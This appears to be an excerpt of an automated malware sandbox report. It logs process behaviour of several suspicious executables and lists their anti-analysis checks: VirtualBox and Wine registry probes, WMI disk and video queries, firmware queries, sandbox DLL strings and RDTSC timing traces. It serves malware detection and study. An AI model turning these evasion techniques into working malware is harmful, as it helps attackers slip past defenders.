Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: powershell.exe PID: 352, type: MEMORYSTR

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\AppData\Local\Temp\1000235001\toolspub1.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\1000235001\toolspub1.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\1000235001\toolspub1.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\1000235001\toolspub1.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\1000235001\toolspub1.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\1000235001\toolspub1.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI

Found stalling execution ending in API Sleep call

Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe

Stalling execution: Execution stalls by calling Sleep

graph_9-69613

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\1CMweaqlKp.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\1CMweaqlKp.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: file300un.exe, 00000032.00000002.7140120246.000001F380020000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: file300un.exe, 00000032.00000002.7140120246.000001F380020000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL
Source: toolspub1.exe, 00000031.00000002.2228738591.0000000001B1E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ASWHOOK

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 7E22AF second address: 7E22B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 7E22B3 second address: 7E22CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D755569C5h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 7F59D3 second address: 7F59D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 7F59D9 second address: 7F59E3 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0D755569B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 7F5C99 second address: 7F5CA5 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0D7471B5DEh 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 7F5CA5 second address: 7F5CC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push edi 0x0000000c pop edi 0x0000000d jng 00007F0D755569B6h 0x00000013 popad 0x00000014 pushad 0x00000015 push edi 0x00000016 pop edi 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 push edx 0x0000001a pop edx 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 7F5CC1 second address: 7F5CC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 7F5CC7 second address: 7F5CCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 7F5CCD second address: 7F5CD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 7F600E second address: 7F602E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0D755569C9h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 7F602E second address: 7F604A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D7471B5E6h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 7F604A second address: 7F6050 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 7F88DE second address: 7F88FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 jmp 00007F0D7471B5DEh 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 7F88FD second address: 7F8904 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 7F8948 second address: 7F8984 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D7471B5E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F0D7471B5E2h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 jng 00007F0D7471B5D6h 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 7F8984 second address: 7F8A29 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D755569C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnp 00007F0D755569BCh 0x0000000f jl 00007F0D755569B6h 0x00000015 popad 0x00000016 nop 0x00000017 mov dword ptr [ebp+122D1BDFh], edi 0x0000001d push 00000000h 0x0000001f mov dword ptr [ebp+122D2D87h], ecx 0x00000025 or dl, FFFFFFE3h 0x00000028 push 4B0C8EAEh 0x0000002d jp 00007F0D755569CAh 0x00000033 push ebx 0x00000034 jmp 00007F0D755569C2h 0x00000039 pop ebx 0x0000003a xor dword ptr [esp], 4B0C8E2Eh 0x00000041 and edx, dword ptr [ebp+122D39C7h] 0x00000047 push 00000003h 0x00000049 mov edx, 0FCA41BAh 0x0000004e push 00000000h 0x00000050 mov ecx, dword ptr [ebp+122D3A87h] 0x00000056 push 00000003h 0x00000058 call 00007F0D755569C0h 0x0000005d mov dword ptr [ebp+122D1847h], esi 0x00000063 pop edx 0x00000064 mov dword ptr [ebp+122D3105h], eax 0x0000006a call 00007F0D755569B9h 0x0000006f push eax 0x00000070 push edx 0x00000071 jnc 00007F0D755569BCh 0x00000077 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 7F8A29 second address: 7F8ABB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D7471B5E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 popad 0x00000011 pop ebx 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 jmp 00007F0D7471B5DCh 0x0000001b mov eax, dword ptr [eax] 0x0000001d jng 00007F0D7471B5DCh 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 push ecx 0x00000028 push eax 0x00000029 push edi 0x0000002a pop edi 0x0000002b pop eax 0x0000002c pop ecx 0x0000002d pop eax 0x0000002e call 00007F0D7471B5DDh 0x00000033 jo 00007F0D7471B5DCh 0x00000039 mov dword ptr [ebp+122D3168h], ecx 0x0000003f pop esi 0x00000040 add dword ptr [ebp+122D2F35h], ecx 0x00000046 lea ebx, dword ptr [ebp+1244D822h] 0x0000004c mov edx, 576335DFh 0x00000051 xchg eax, ebx 0x00000052 pushad 0x00000053 push eax 0x00000054 push edx 0x00000055 jmp 00007F0D7471B5E9h 0x0000005a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 7F8B4B second address: 7F8B64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0D755569C4h 0x00000009 popad 0x0000000a rdtsc
